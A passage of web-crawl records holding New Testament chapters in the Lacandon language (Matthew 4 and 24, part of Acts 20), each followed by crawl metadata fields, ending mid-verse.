nuncaj caj ya'araj ti' quisin:\n―Baxuc cu ya'aric tu ts'iba'an u t'ʌn C'uj xan: \"Mʌ' tsoy ic tumtic yor ic Jaj Ts'urirex C'uj soc ij quirej wa taj a ba' cu ya'aric.\"\n8 Tu ca' ten wʌc'ʌs payir Jesús ten quisin. Bin yejer quisin ich jo'r wits. Jach ca'anan u witsir. Caj esa'b ti' ten quisin soc yiric Jesús tu cotor u ru'umin tu cu reyinticob rey. Caj yiraj Jesús, jach tsoy u ru'umin tu cu reyinticob.\n9 Caj ara'b ti' Jesús ten quisin:\n―Je' in ts'ic tech a je' ba' tu cotor, a je' tsoya' ich yoc'ocab, wa ca xontar tu yʌnen ca' a c'ujinten ―quij quisin.\n10 Jesús caj u ya'araj ti' quisin:\n―Joq'uen xen, quisinech. Quire' u t'ʌn C'uj cu ya'aric: \"C'ujintej a Jaj Ts'ur C'uj. Jari' raji' ca beyaj ti'.\"\n11 Caj ts'oc u tumta' yor Jesús, caj binij quisin, caj tarob u yʌjmasir u t'ʌn C'uj ich Jesús. Caj tarob yamta'bir Jesús ten yʌjmasirob u t'ʌn C'uj.\nJesúso' u yʌnxchun u beyaj ich u ru'umin Galilea\n(Mr. 1.14‑15; Lc. 4.14‑15)\n12 Caj yubaj Jesús mac Juan ich tu cu naj ma'cʌr winiquir. Caj wʌc'ʌs bin Jesús ich u ru'umin Galilea.\n13 Jesús mʌ' wʌc'ʌs cajij ich u cajar Nazaret. Caj bin u cʌjtar ich u cajar Capernaum. Ti' yʌn ich u chi'c'ac'nab. A Capernaum ti' yʌn ich u ru'umin Zabulón. Baxuc xan, ich u ru'umin Neftalí.\n14 Caj bin cʌjtar Jesús ich u cajar Capernaum quir u nup'sic u t'ʌn C'uj, baxuc caj u ts'ibtaj Isaías uch.\n15 Isaías caj ya'araj uch, cax mʌ' toy tac Jesús uch. Caj u toc araj Isaías:\nTar yʌn ich u ru'umin Zabulón. Tar xan ich u ru'umin Neftalí. Ra' u berir ich chi'c'ac'nab. Chen pʌchir ya'arir Jordán tu cu tar ic yum. Ra' u ru'umin Galilea, ti' cʌja'an a mʌ' u winiquirob judío.\n16 A mac yʌn u si'pirob, a cʌja'anob ich u ru'umin Zabulón yejer u ru'umin Neftalí. Je' yiricob yʌjtaquirobe' a mac a yʌn u si'pirob. A mac ti' cʌja'an ich yac'birir quire' yʌn u si'pirob, ti' cu bin c'uchur Cristo tu yʌnob soc u yacsic ti'ob a mʌ' u winiquirob judío ich u sasirir C'uj.\nBaxuc caj u ya'araj Isaías uch.\n17 Caj c'uchij tu cʌjtar Jesús ich u cajar Capernaum. Caj u yʌnxchun u tsec'tic u t'ʌn C'uj Jesús:\n―C'axex a wor ―quij Jesús―. Ca' a p'ʌtex a c'asiro', quire' c'uchij tu q'uinin bin u ca' u reyinticob C'uj we'.\nJesús caj u t'ʌnaj a cu chuc cʌye' ca' xicob yicnʌn Jesús; cuatro caj u t'ʌnaj\n(Mr. 1.16‑20; Lc. 5.1‑11)\n18 Jesús caj bin ich chi' c'ac'nab. U c'aba' u c'ac'nabir Galilea. Caj irir Pedro ten Jesús. U jer u c'aba' Pedro, Simón. Cu puric u chimin u chuc cʌy. Ti' yʌn yits'in Pedro, u c'aba' Andrés. Quire' ra' u beyajob Simón yejer Andrés, cu chuc cʌyob.\n19 Caj ara'b ti'ob ten Jesús:\n―Cojenex ca' in camsechex ti' u t'ʌn C'uj, soc a camsiquex a rac'obex. Ra' a beyajex baje'rer.\n20 Seb caj u p'ʌtob u chuc cʌyob caj binob ich u pach Jesús. Simón yejer yits'in, caj binob tu pach Jesús.\n21 Sansame' ca' u ca' ir u jer. Ba'iri' ca'tur xan. Ca'tur yejer yits'in. Sucu'unbir Jacobo. Its'inbir Juan. P'eri' u tetob. Zebedeo u c'aba' u tetob. Ti' yʌnob ich chem yejer u tetob cu chuwicob u chimin u chuc cʌyob, quire' t'oc u chimin. Jesús caj u payaj ca' tacob tu pach u cʌnicob u t'ʌn Jesús.\n22 Seb caj u p'ʌtob u tetob yejer u chem quir u cʌnicob u t'ʌn Jesús.\nJesús cu camsic jach pim mac\n(Lc. 6.17‑19)\n23 Pachir caj man Jesús u camsic tu cotor u cajar ich u ru'umin Galilea. Cu yocar u camsej tu cu naj c'ujinticob C'uj u winiquirob judío ich u chan najir. Jujuntur u cajar cu yocar u camsej u t'ʌn C'uj. Caj u tsec' ti'ob bic cu bin u reyintic C'uj ich yoc'ocab. Cax a ba' yajir yʌn ti'ob cu rʌc jawsic Jesús.\n24 Caj yubob u juminta' ti' yʌn Jesús ich u ru'umin Galilea hasta tu ru'umin Siria. Caj u yubob u juminta' bic cu jawsic mac, rajen tarob u puricob a mac yajob ich Jesús. Tu cotor a ba' yajire' yʌn ti'ob, caj tar u purob ich Jesús. A macob mʌ' u riq'uir ch'ictare', cu tar purbir. A macob aca'an quisin ti'e', cu tarob purbir ich Jesús. A macob cu sʌjquimin, cu tarob purbir ich Jesús caj rʌc jawsa'b u yajirob ten Jesús.\n25 Caj tarob ich Jesús quir yubicob. Ti' u tarob ich pʌchir ya'arir Jordán. Ti' u tarob ich u ru'umin Galilea. Ti' u tarob ich u cajarob Decápolis. Ti' u tarob ich u cajar Jerusalén. Ti' u tarob ich u ru'umin Judea. Jach pim rʌc tarob ich Jesús.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/MT4.html","date":"2022-06-26T18:16:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103271763.15\/warc\/CC-MAIN-20220626161834-20220626191834-00550.warc.gz","language":"lac","language_score":1.0000009537,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000009536743164}","num_words":1030,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.291,"stopwords_ratio":0.511,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"24\nA cu bin jubsic carem naj ten u winiquirob romano\n(Mr. 13.1‑2; Lc. 21.5‑6)\n1 Jesús caj joc' tu japnin carem naj tu cu naj c'ujinticob C'uj u winiquirob judío. Toc bin u ca' ca'ch caj u juts'ob u bʌj u camsʌwinicob ich Jesús. Caj ya'arajob:\n―Iric carem naj. Mʌ' wa qui' c'ʌxa'an carem naj?\n2 Jesús caj u nuncaj ti'ob:\n―C'ʌ'otex a je' carem naj bic tabar caj a wirex quire' jach taj quin toc aric a wu'yex. Ca' bin c'uchuc tu q'uinin cu bin jubsa'bir. Mʌ' ju bin p'atʌr tunich tu ts'ʌpa'an. Mʌ' ja bin a wirex ca'tur ts'ʌpa'an.\nRaji' cu bin yesic to'onex biq'uin bic tabar u xur t'ʌn\n(Mr. 13.3‑23; Lc. 21.7‑24; 17.22‑24)\n3 Caj joc' Jesús ich carem naj, caj bin ich u jo'r chan p'uc wits Olivos. Jesús caj curʌj. Ti' cura'an Jesús, caj u juts'ob u bʌj u camsʌwinicob ich Jesús soc tu junanob cu yubicob.\n―Tar in c'atob a toc aric tenob wa ber ca' bin jubsac carem naj. Biquira' carem naj ca' bin c'uchuc tu q'uinin cu xur t'ʌn ca' bin urquech?\n4 Caj u nuncaj Jesús caj ya'araj:\n―Qui' cʌnantex a bʌj soc mʌna' mac cu tar u tusiquex.\n5 Quire' ya'ab mac cu bin u tus aric: \"Cristojen quire' caj u tuchi'tajen C'uj. Rajen quin tar quir in taquic tu cotor mac.\" Ya'ab mac cu bin u quibicob a ba' cu ya'aric tus Cristo.\n6 Ra' u q'uinino' ca' bin a wu'yiquex u jumintac: \"Tan u quinsicob u bʌj ich u jer ru'um.\" Cax tub yʌnechex ca' bin u quinsicob u bʌj. Je' a wu'yiquex tabar u quinsicob u bʌj. Mʌ' ja ch'aquex sajaquirex quire' yʌn u tar u quinsicob u bʌj. Cax cu manob u quinsicob u bʌj. Mʌ' toy c'uchuc tu q'uinin u xur t'ʌn.\n7 Ra' u q'uinino' ca wu'yiquex cu ts'ictarob winic ich jumpet ru'um. Cu bin u quinsicob u bʌj yejer u winiquirob ich jumpet ru'um. Bayiri' je' u wichʌjʌrob xan ich jumpet ru'um. Cax jach bʌytʌc cu bin u wichʌjʌjrob. Bayiri' yʌn u tar u yajir. Bayiri' je' a wu'yiquex u pec u ch'ic yum ru'um.\n8 Tu cotor aro' tan u muc'yaj. Raji' u yʌnx ch'ic chun u muc'yaj a cu bin tar ich yoc'ocab.\n9 'A ra' u q'uinino' cu bin u p'astiquechex, quire' caj a wacsex ta worex ti' ten. Rajen cu bin u ta'quicob a jo'rex. Rajen cu bin u chuquicob a pachex. Bayiri' cu bin u quinsiquechex. Baxuc tu cotor mac xan.\n10 Quire' aro', a ra' u q'uinino' ya'ab mac cu bin u p'ʌtejob u yacsicob tu yorob. Je' u bin u p'acticob u bʌj. Je' u ta'quic u jo'r u rac'ob ʌcʌtan u jach ts'urirob u cajarob.\n11 A ra' u q'uinino', ya'ab mac cu bin tar quir u tusaricob tuchi'tac ten C'uj quir u tus camsicob a pimo'. Ya'ab mac cu bin u quibicob.\n12 A ra' u q'uinino', ya'ab mac cu bin manob tu c'asir. Jach mananob tu c'asir. Rajen a mac a cu manob tu tsoyir mʌ' u neyajquinticob u rac'ob.\n13 A mac a mʌ' ju p'ʌticob u quibicob in t'ʌn hasta ca' bin manac a je' muc'yaj a tin wa'araj. Ra' cu bin tacbir ten C'uj.\n14 Mʌ' toy c'uchuc tu q'uinin u xur t'ʌn, quire' yʌn u man u tsec'ticob u jach tsoyir u t'ʌn an ten bic cu bin u reyintejob C'uj ca'anan. Bin u caj tsec'tic ich tu cotor mac ich yoc'ocab soc yerob tu cotor mac tu cʌja'anob. Ra' u q'uinin ca' bin ts'ocac u tsec'ticob ra' u q'uinin cu bin xur t'ʌn.\n15 Caj ya'araj Jesús ti' u camsʌwinicob:\n―Caj u ts'ibtaj Daniel a caj u tsec'taj u t'ʌn C'uj uch. Ra' tu tsec'taj uch: \"Wa ca wiriquex a ba' jach c'as ch'ica'an ich u japnin carem naj tu cu naj c'ujinticob C'uj u winiquirob judío. Qui' tucrex, quij Daniel, quire' raji' cu bin u c'asquintic u winiquirob israel.\"\n16 A ray u q'uinino' ca wiriquex aro', joq'uenex ta puts'urex ich u jo'r wits. Wa cʌja'anechex ich u ru'umin Judea, sebquintex a toc puts'urex.\n17 A ray u q'uinino' wa ti' yʌn mac tu jo'r yatoch tu taj u jo'r yatoch. Arex ti' mʌ' tsoy u yocar u ch'ic u ba'tac. Arex u toc puts'ur.\n18 A ray u q'uinino' wa ti' yʌn mac ich u cor. Arex mʌ' u sut u ch'ic u noc'. Arex u toc puts'ur.\n19 A ray u q'uinino', jach otsirchʌjij a xquic a tabar u rochic u chan ochir. Bayiri' a xquico', a cu ts'ic u chuch ti' chan ochir.\n20 A ray u q'uinino', t'ʌnex C'uj soc mʌ' ra' u q'uinin a puts'urex tu q'uinin que'er. Quire' mʌ' ju c'uchur a worex a muc'tiquex que'er. T'ʌnex C'uj soc mʌ' ray u q'uinin tu ca jesiquex a bʌj.\n21 Quire' a ray q'uinino', jach manan cu bin u muc'yajob winic. U jer winic mʌ' u nemuc'yajob an ten bic cu bin u muc'yajob u winiquirob tu q'uinin cu bin xur t'ʌn. Mʌ' biq'uin yubmʌnob.\n22 A ray u q'uinino', wa C'uj u c'at u cha'ic coch u pach q'uin soc oma'an cu bin muc'yaj. Mʌna' mac cu bin p'atʌrob. Chen tabar u muc'yajob, quire' ti' yʌnob a toc teta'b ten C'uj quire' yajbir ten C'uj.\n23 'Ca' bin c'uchuc a ray u q'uinino' wa mac cu bin ya'aric: \"Ire wirex Cristo toc c'uchij quir u taquic mac tu cotor.\" Mʌ' a quibiquex a ba' cu ya'aricob. Cax cu ya'aricob: \"A ray Cristojo'.\"\n24 Quire' a ray u q'uinino', ya'ab cu bin tar quir u tusaricob ti' u rac'ob: \"A teno' taren ich yoc'ocab quir in taquic mac quire' caj u tuchi'ten C'uj.\" Tu cu tusaricob ti' mac je' u tus esicob carem beyaj ti' u rac'ob xan. Cax a mac teta'b ten C'uj orac u quibicob quire' cu tus esicob carem beyaj, quire' baxuc u c'atob, chen mʌ' ju c'uchur u yorob ti'.\n25 Jesús caj ya'araj ti' u camsʌwinicob:\n―Quin toc aric techex a je' t'ʌna' soc a toc erex a ba' cu bin tar biq'uin soc mʌ' u jac'arex a worex.\n26 Rajen a ray u q'uinino' je' u ya'aric techex: \"Ti' yʌn Cristo ich tʌcay ru'um.\" Bayiri' je' u tusaricob techex: \"Ti' yʌn Cristo tera' ich yatoch.\" Mʌ' ja yʌn quibiquex xan.\n27 Je' a wiriquex in wu'ur, a teno' taren in yamtic mac tu cotor, tera' ich yoc'ocab an ten bic a wiriquex u raram ich ca'anan. Mʌ' ja wirej, sasir cu raram soc chʌca'an yiric tu cotor mac ten quin tar.\n28 Ray u q'uinino', a mac yʌn u si'pir yʌn u bo'otic u bo'orir u si'pir mʌ' tu cu puts'ur.\nBic tabar ca' bin uruc u parar C'uj\n(Mr. 13.24‑37; Lc. 21.25‑33; 17.26‑30, 34‑36)\n29 Caj ya'araj Jesús ti' u camsʌwinicob:\n―A ray u q'uinino', tabar u ts'ocar u muc'yaj a winiquiro'. Je' yac'birchʌjʌr q'uin. Mʌ' u sasichʌjʌr. Bayiri' ic nʌ' xan, je' yac'birchʌjʌr. A sa'abo' cu bin yiricob irej wa tan u rʌc rubur. Tu cotor a ba' yʌn ich ca'anan cu cha'ic u pec C'uj.\n30 A ray u q'uinino', je' yesic carem beyaj C'uj ich ca'anan soc yer mac tu cotor tan in wu'ur, a teno' quir in yamtic mac tu cotor. Tu cotor mac a ti' cʌja'an ich yoc'ocab cu bin u yac'ticob u bʌj, quire' cu yiricob in wu'ur ich u muyar yejer jach chich in muc'. Yejer u sasirir C'uj quin bin ur.\n31 Ca' bin uruquen, je' yubicob u jum ca' bin usac ten yʌjmasir u t'ʌn C'uj. C'am cu bin yubicob. Je' in tuchi'tic u yʌjmasirob u t'ʌn C'uj quir u much'quinta'r a mac caj in tetaj ich yoc'ocab. Cax tu yʌnob ti' cu bin u much'quinta'r.\n32 'A werex cu jutur u re' che' quir u top'ʌncʌr, quire' tan yocar yaxq'uin.\n33 An bic taj aro', bayiri' xan ba' ca wiriquex a ba' caj in camsajechex sam tan u tar. Jeroj tabar u xur t'ʌn.\n34 Jesús caj ya'araj ti' u camsʌwinicob:\n―Taj quin wa'aric techex. Ti' yʌn mac baje'rer. Ra' cu bin cuxtarob hasta cu yiricob a ba' caj in toc araj techex cu tar ich tu yʌnechex.\n35 A ca'anano', je' u rʌc ts'ocare' a je' ru'uma' je' u rʌc ts'ocare' xan. Chen in t'ʌno' mʌ' u bin ts'ocar quire' yʌn u toc rʌc nup'ur in t'ʌn ich yoc'ocab.\n36 'Chen a ray u q'uinin cu bin tar a ba' caj in toc araj techex. Mʌna' mac yer wa ber u tar, cax yʌjmasirob u t'ʌn C'uj. Mʌ' u parar C'uj yer, chen u bʌjiri' C'uj yer wa ber u tar. Rajen mʌna' mac yer wa ber hora cax beq'uin.\n37 'Ca' bin uruquen a teno' quir in yamtic mac tu cotor. Cu bin tar an ten bic tu q'uinin cuxa'an Noé uch yejer u rac'ob caj rʌc burob.\n38 U rac'ob Noé rajra' qui' yorob tan u janʌnob, cu qui' uc'urob xan. Baxuc caj man u cʌxtob u rac' u parar. Cax rajra' caj u betob hasta oquij Noé ich u chem. Mʌ' tu najtajob quire' seb caj tar ya'arir. Caj u yʌnxchun u burur. Rajen rʌc quimij u rac'ob Noé.\n39 Baxuc ca' bin uruquen a teno' taren in yamtic mac tu cotor. Cax wa tan u janʌnob. Cax tan yuc'urob. Mʌ' ju bin u najticob wa ber ca' bin uruquen a mac tan u man tu c'asir, quire' a ba' cu yiricob.\n40 Ray u q'uinin ca' bin uruquen cax wa ca'turo' tan u beyajob ich u cor. Ca' bin tac yʌjmasirob u t'ʌn C'uj, je' u pʌyʌr turiri' a caj u yacsaj tu yor. Turiri' cu bin p'atʌr.\n41 Baxuc xan xquic. Cax wa ca'turo' tan u juch'ob. Chen je' u payʌr turiri' ten yʌjmasirob u t'ʌn C'uj. Turiri' cu p'atʌr xan.\n42 'Qui' pajex u q'uinin wa ber ca' bin uruquen ―quij Jesús―. Quire' mʌ' a werex ca' bin uruquenex a Jaj Ts'urirenex.\n43 Qui' cʌnex a ba' quin bin in camsic techex. Irej a mac cu tar ya'cric a ba'tac. Wa mac raji' yʌnin yatoch yer wa ber cu tar a'cra'bir u ba'tac ten mac. Ac'bir cu pajic u tar soc mʌ' u cha'ic ya'cra'r u ba'tac. Rajen cʌnex u jach ts'urir yatoch.\n44 Baxuc techex, ca' a qui' pajenex quire' seb ca' bin uruquen a teno' taren in yamtic mac tu cotor. Wa ra' u q'uinin mʌ' ja pajiquenex.\nJesús cu camsic u c'urew mac bic tabar u pajic u jach ts'ur\n(Lc. 12.41‑48)\n45 Caj ya'araj Jesús ti' u camsʌwinicob:\n―U'yex ba' quin wa'aric techex baje'rer. Ti' yʌn u c'urew mac cu nequi' quibic u t'ʌn u jach ts'urir. Caj bin u jach ts'urir ich jumpet ru'um. Caj ara'b ti' ten u jach ts'urir: \"Qui' cʌnantej a wet c'urewirob. Qui' jansej a ba' quiri' u c'atob. Qui' irej u beyajob a wet c'urewirob.\" Caj bin u jach ts'urir.\n46 Jach qui' yor u c'urew u jach ts'urir a rajra' cu quibic u t'ʌn u jach ts'urir hasta cu yu'ur u jach ts'urir.\n47 Taj quin wa'aric techex ―quij Jesús―. Wa tu qui' quibaj u t'ʌn u jach ts'urir a c'urewo'. Je' u qui' ts'abʌr u muc' ti' quir u cʌnantic a ba'quir yʌn ti' u jach ts'urir.\n48 Chen wa ju c'urew cu tucric mʌ' seb cu bin yu'ur u jach ts'urir.\n49 Rajen cu yʌnxchun u cʌrʌxbetic ti' u yet c'urewirob. Bayiri' u c'urew cu joc'ar janʌn. Bayiri' cu joc'ar yuc'ur yet a mac cʌra'anob.\n50 U jach ts'urir seb ca' bin ca' uruc ra' u q'uinin u c'urew mʌ' tan u pajic yu'ur u jach ts'urir.\n51 Ca' bin uruc u jach ts'urir je' u jach jʌts'ic u c'urew. Jach yaj cu bin yubic an ten bic C'uj cu bin joc'sic a mac cu tusaric ti' u rac'ob. Mʌ' ja wirej, irob a mac a mʌ' tu c'ʌmajob u t'ʌn C'uj. Je' u bin muc'yaj ich c'ac'. Ti' cu bin yac'ticob u bʌj ich c'ac'. Tu cu bin mʌmʌx chi'icob u yac' ich c'ac'.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/MT24.html","date":"2022-06-27T11:43:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103331729.20\/warc\/CC-MAIN-20220627103810-20220627133810-00758.warc.gz","language":"lac","language_score":1.0000071526,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.000007152557373}","num_words":1930,"character_repetition_ratio":0.078,"word_repetition_ratio":0.004,"special_characters_ratio":0.305,"stopwords_ratio":0.49,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"20\nPablo cu bin ich u ru'umin Macedonia bayiri' ich u ru'umin Grecia\n1 Barej caj ts'oc u p'ujurob u winiquirob efesio. Pablo caj u pʌyaj ca' tac u much'quinticob u bʌj a yacsmʌnob tu yorob. Caj ts'oc u chichquintic u yorob caj u ya'araj bin u ca' tan u rʌc t'ʌnanob, caj joq'uij Pablo quir u bin ich u ru'umin Macedonia.\n2 Pablo caj man yirej a yacsmʌnob tu yorob ich tu cotor a ray ru'umo'. Caj oquij Pablo tu yʌnob su' caj u chichquintaj u yorob yejer u t'ʌnob. Caj ts'oc u man ti taro' caj ruq'uij quir u bin ich u ru'umin Grecia.\n3 Tiri' p'at Pablo ich u ru'umin Grecia mʌna' u nup ic nʌ'. Jach tabar u bin ich chem quir u bin ich u ru'umin Siria. Pablo caj u yubaj ya'ara' ten mac tan u pajarob u mucu chucbirob ten u winiquirob judío quir u quinsa', rajen caj u tucraj u wʌc'ʌs bin tu yoc ich u ru'umin Macedonia.\n4 Caj bin Pablo yet binac Sópater a cʌja'an ich u cajar Berea. Yet binac Aristarco yejer Segundo, robob cʌja'anob ich u cajar Tesalónica. Yet binac Gayo yejer Timoteo a cʌja'an tu cajar Derbe. Yet binacob Tíquico yejer Trófimo, robob cʌja'anob tu ru'umin Asia.\n5 Robob yʌn binob quir u pajico'on ich u cajar Troas.\n6 Pablo caj c'uchij tu yʌnenob, quij Lucas. Ti' c'uchij Pablo ich u cajar Filipos. Tiri' p'atenob hasta manij u q'uinin u qui'qui' janʌnob u winiquirob judío, ra' cu janticob yo'och pan a mʌ' u sip'e'. Caj manij cinco u q'uinin jeroj, caj c'uchenob ich u cajar Troas tiri' tin nup'ajob ij quet acsa'orirex a tan u pajiquenob, a robob a yʌn binob uche'. Tiri' xan caj in masajob turi semana, quij Lucas.\nPablo cu yiric u cajar Troas\n7 Caj c'uchij tu q'uinin domingo ra' u q'uinin cu yʌnxchun semana caj u rʌc much'quintajob u bʌj a yacsmʌnob tu yorobe'. Mʌ' ja wirej, tar u much'quinticob u bʌj quir u janʌnob an ten bic caj janʌnob u camsʌwinicob Jesús yejer Jesús quire' yer saman bin u ca' quinsbir Jesús. Caj ts'oc u janʌnob a yacsmʌnob tu yorob Pablo caj u camsaj ti'ob quire' yer saman bin u ca' Pablo. Jach ama'an caj u camsaj ti'ob Pablo hasta chumuc ac'bir caj u camsaj ti'ob.\n8 Tu much'a'anob a yacsmʌnob tu yorob u t'ʌn Jesús taj much'a'an ca'anan tu mʌna' u nup u ts'ʌpquinmʌnob naj. Tiri' t'ʌba'an ya'ab quib quir u ye'c'ac'ticob tu yʌnob.\n9 Ti' yʌn turiri' chan xib curucbar ich u nʌc' naj tu cu yocar u sasir chunq'uin. U c'aba' chan xib Eutico. Tac u wenʌn, a chan xibo', quire' ama'an tu camsic u t'ʌn C'uj Pablo. Jeroj wenij, qui' wenij, jeroj caj pitc'ʌjij ich ca'anan mʌna' u nup u ts'ʌpquinmʌnob naj. Caj rubij ich ru'um, caj ric'sa'b caj u yirob mʌna', quimij.\n10 Chen Pablo caj emij yirej. Caj u yiraj quimij. Jeroj Pablo caj xonrʌj, caj u ch'aj u mec'aj Pablo a chan xibo'. Pablo caj u ya'araj ti' a yacsmʌnob tu yorob:\n―Mʌ' u jac'ʌr a worex, quire' cuxa'an baje'rer, C'uj caj u ric'saj tu quimirir.\n11 Jeroj tune', Pablo wʌc'ʌs naquij ca'anan ich a najo' caj janij yejer u yet acsa'orirob. Caj ts'oc u janʌn, jach ama'an tsicbanʌjij Pablo hasta sasij, jeroj binij.\n12 Barej caj ric'sa'b a chan xibo' ten Pablo robob caj u yacsajob ich naj, jach qui' yorob.\nCu tsec'tic u t'ʌn C'uj Pablo tu cajar Mileto\n13 Pablo caj u ya'araj bin u caj u yoc ich u cajar Asón. A tenobo', quij Lucas, caj oquenob ich chem quir in binob Asón. Ti' cu bin ocar Pablo ich chem yejerenob, ich u cajar Asón quire' baxuc caj u ya'araj Pablo uch. A tenobo', quij Lucas, pʌyber quin binob, jeroj caj oquenob caj binenob.\n14 Caj c'uchenob ich u cajar Asón. Tiri' caj in nup'ajob Pablo caj oquij Pablo ich chem tu yʌnenob, jeroj caj binenob, quij Lucas, tu cajar Mitilene.\n15 Caj ruq'uenob, ich u cajar Mitilene caj oquenob ich chem caj binenob. Caj sasij caj c'uchenob ich ʌcʌtan u ru'umin Quío. U jer u q'uinin caj sasij caj c'uchenob ich u jor chem u cajar Samos. Jeroj caj wʌc'ʌs ru'q'uenob ich chem. Caj ic je'saj ic bʌjex ich u cajar Trogilio, jeroj, caj sasij caj c'uchenob tu cajar Mileto.\n16 Mʌ' oquenob ich u cajar Efeso, quij Lucas, quire' mʌ' u c'at Pablo u p'atʌr ya'ab u q'uinin ich u ru'umin Asia. Mʌ' ja wirej, raji' u c'at seb u c'uchur ich u cajar Jerusalén ca' bin tac tu q'uinin Pentecostés, jaj ix ti' wa cu c'uchur.\nPablo cu tsicbʌtic ti' u jach ts'urirob a yacsmʌnob tu yorob u t'ʌn Jesús tu cajar Efeso\n17 Quire' ti' toy yʌn ich u cajar Mileto, Pablo caj u tuchi'taj t'ʌnbir a nuxibobo' u jach ts'urirob a yacsmʌnob tu yorob tu cajar Efeso ca' tacob tu cajar Mileto.\n18 Barej caj c'uchob u jach ts'urir a nuxibobo' ich yicnʌn Pablo, caj ara'b ti'ob ten Pablo caj ya'araj ti'ob:\n―A ray u q'uinino' caj yʌn bat'an c'uchen ich u ru'umin Asia, a teno' caj cuxrajen bayiri' caj beyanʌjen an ten bic in naj betic tac tu q'uinin ruq'uen ich techex.\n19 Techex a wirmʌnenex ti' yʌnen tu yʌnechex u burur q'uin caj in betaj u beyaj Jaj Ts'ur tu cotor in wor. Mʌ' jin tucraj wa jach caremen, quire' caj beyanʌjen ti' in Jaj Ts'urir. Susu' oc'nʌjen quire' a ba' tar tene'. Mʌ' ja wirej, a ba' caj u tucrajob u winiquirob judío caj u ts'aj in muc'yajob.\n20 A techexo' ―quij Pablo―, caj a wirajex bic mʌ' jin xur in tsec'techex tu cotor a ba' ya'armʌn ten C'uj. Mʌ' ja wirej, caj in camsaj techex tu ca naj much'quintiquex a bʌj quir a wu'yiquex u t'ʌn C'uj, bayiri' xan, caj in camsaj techex ich jujuntur a watochex.\n21 Ʌcʌtan tu wich C'uj, caj in toc araj ti' u winiquirob judío bayiri' xan, ti' a mʌ' u winiquirob judío. Caj in toc araj ti'ob ca' u c'axob tu yorob ca' u p'ʌtob u c'asir tu cu manob soc u yacsicob tu yorob u t'ʌn Jaj Ts'ur Jesús.\n22 Baje'rer quin man ich u cajar Mileto. Bin in ca' ich u cajar Jerusalén. Baje'rer cu tuchi'tiquen u Taj'or u Pixam C'uj, quire' quin quibic u t'ʌn u Taj'or u Pixam C'uj. Mʌ' in wer ba' in ber a teno' ca' bin c'uchuquen ich u cajar Jerusalén.\n23 Chen jari' in wer tu quin bin ich tu cotor u cajarob caj in wu'yaj ya'ara' ten u Taj'or u Pixam C'uj: Bin u ca'ob u chuquechob ca' u puriquechob tu cu naj ma'cʌr mac. Bayiri' xan, caj u ya'araj: Bin a ca' muc'yaj ya'ab, quij.\n24 Mʌ' jin chen tucrej wa quinsa'ben a teno'. Mʌ' jin chen tucrej in cuxtar a teno'. Chen a ba' quin jach tucrique', ca' in ts'ocs in beyaj a caj u ts'aj in beyaj Jesús soc jach qui' in wor wa cu ts'ocar in beyaj soc mʌna' in tucric in beyaji'. Mʌ' ja wirej, ts'a'b in beyaj quir in tsicbʌtic ti' mac, ca' yubej u jach tsoyir u t'ʌn Jesús. A je' t'ʌna' cu ya'aric ti' mac bic C'uj otsir yiric mac.\n25 'Taj quin man ich tu yʌnechex uch caj in toc tsec'taj techex bic tabar cu bin u reyinticob C'uj. Baje'rer ts'oc in tsec'tic techex, quire' in toc er mʌ' ja ca' irenex tu ca'ten ich yoc'ocab.\n26 Baje'rer ―quij Pablo―, jach taj quin wa'aric techex wa mac tu cotor ich techex cu satʌr u pixam, mʌna' in si'pir a teno'.\n27 Mʌ' ja wirej, caj in toc araj techex tu cotor a ba' cu tucric C'uj cu betic.\n28 Rajen qui' cʌnantex a bʌjex. Bayiri' xan, ca' a cʌnantex tu cotor a mac a caj u yacsajob tu yorob u t'ʌn Jaj Ts'ur an ten bic u yʌjcʌnanyʌjir tʌmʌn yuc cu cʌnantic u yʌrʌc' tʌmʌn yuc. Quire' caj u tetajechex u Taj'or u Pixam C'uj soc a beyajex. Mʌ' ja wirej, Jesús caj u rʌc bo'otaj u bo'orir u si'pirob a yacsmʌnob tu yorob caj quimij ich cruz, soc raji' yʌninob.\n29 In wer ca' bin xiqueno' je' u tar mac quir u tusiquechexob soc a p'ʌtiquex a wacsiquex ta worex u t'ʌn Jesús. A ray maco', irob a barum, a jach ts'ico', ra' cu chen tar u rʌc chi'ic a wʌrʌc' cax.\n30 Jin, quen, cax a yacsmʌnob tu yor u t'ʌn Jesús tu yʌnechex, je' u riq'uirob yirej wa cu tusiquechexob. Quir u camsiquechexob a ba' quiri' mʌ' taji' soc a sayʌrex tu pachob quir a cʌniquex u t'ʌnob.\n31 Rajen qui' cʌnantex a bʌjex ti' a mac a baxuco'. A rajra' qui' tucrex an ten bic ca c'ʌ'otiquenex u burur q'uin, bayiri' xan, u burur ac'bir tac mʌna' u nup yaxq'uin caj in chichquint a worex tu quin muc'yaj ta wicnʌnex uch.\n32 'A baje'rer, in wet acsa'orirex, in c'at C'uj ca' u qui' cʌnan techex. In wer u t'ʌn C'uj ti' u jach tsoyir u pixam C'uj je' u cʌnantiquechex xan. U t'ʌn C'uj je' u cʌnantic a worex quire' cu ya'aric bic tabar jach tsoy a C'ujo'. Mʌ' ja wirej, u t'ʌn C'uj c'ucha'an yor u chichquintic a worex, soc mʌ' a p'ʌtiquex a wacsiquex ta worex hasta ca' bin a c'ʌmiquex a ba' caj u toc araj C'uj ca' bin c'uchuc tu q'uinin. Ra' ca bin a c'ʌmiquex quet yejer tu cotor a mac a yacsmʌnob tu yorob u t'ʌn Jesús. Mʌ' ja wirej, C'uj je' u much'quintic a tu tetaje' soc raji' yʌnin C'uj, ca' bin c'uchuc tu q'uinin.\n33 A teno', mʌ' jin pachtaj a noq'uexi', mʌ' jin pachtaj a taq'uinex xan ―quij Pablo―.\n34 A bʌjiri'ex a werex caj in jaraj in taq'uin yejer u bʌjiri' in beyaj soc wa ba' 